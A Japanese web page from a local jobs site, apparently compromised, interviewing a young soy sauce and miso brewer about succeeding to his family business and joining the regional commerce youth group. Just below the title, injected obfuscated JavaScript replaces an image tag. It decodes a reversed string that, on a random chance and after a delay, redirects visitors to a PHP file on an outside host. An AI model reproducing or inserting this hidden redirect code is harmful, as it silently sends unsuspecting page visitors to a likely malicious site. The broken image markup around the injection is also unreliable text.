新富町のしごと

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tomi.work/wp-content/uploads/2019/04/IMG_7152.jpg” alt=”” width=”1000″ height=”667″ class=”aligncenter size-full wp-image-150″ />

—徳山さんの醸造場では、どのような製品を作っているのですか?

徳山:醤油5種、味噌3種、お酢を1種、製造から販売まで行っています。原料は、宮崎県味噌醤油組合から仕入れており、販売は昔からのお得意様など独自の販売ルートで児湯郡を中心にお届けしています。

—醸造には昔から興味があったのですか?

徳山:興味があったというよりは、小さい頃から手伝っていたので自然とその道に進むことを考えるようになったというところですね。

父にも息子に跡を継いでもらいたいという想いがあったようで、私は東京農業大学で醸造について学んだ後、宮崎の酒造メーカーに就職しました。

平成28年には本格的に家業を継ぐために戻り、技術と知識を磨く日々です。

—家業を継ごうとしたきっかけはあるのですか?

徳山:やはり、地元の方々の声ですね。

「徳山さんの醤油・味噌は美味しいよね」

これからもそういっていただけるよう、この味を守りたいと想いが強くなりました。今、この仕事を続けているのも、そのような周りの方の声があるからだと思います。

お客様から求められている製品を作っているということが、モチベーションにもつながっています。

固定概念を作らないための交流

—地元の商工会青年部にも所属しているとのことですが、入部したきっかけは何ですか?

徳山:家業を継ぐと決めてから、ずっと商工会青年部に入りたいという想いがありました。ただ、どのようにすれば入部できるのか分からずにいたところ、今の部長が私に声をかけてくれたのです。

部長がたまたま弊社の取引先だったことが、誘っていただくきっかけになりました。ずっと入部したかったので、本当に嬉しかったです。

—そこまで入部したかったのは何故ですか?

徳山:地域でビジネスをする上で、地元の方との交流は欠かせないと考えているからです。
弊社がここまでやってこれたのも、地元の方々に支えられたおかげですし、困った時に助けてくれるのも地元の方々。

また、異業種間の交流ができることも大きなポイントだと考えています。同じ仕事を続けていると、どうしても考えが凝り固まってしまう傾向にあるからです。

全く関係のない業種でも、活躍される方の話や仲間の悩みなどを聞いていると、私自身が刺激になりますし、参考になることが大いにある。

地域貢献という側面ももちろんありますが、私はそのような観点から、青年部というコミュニティを活用させてもらっています。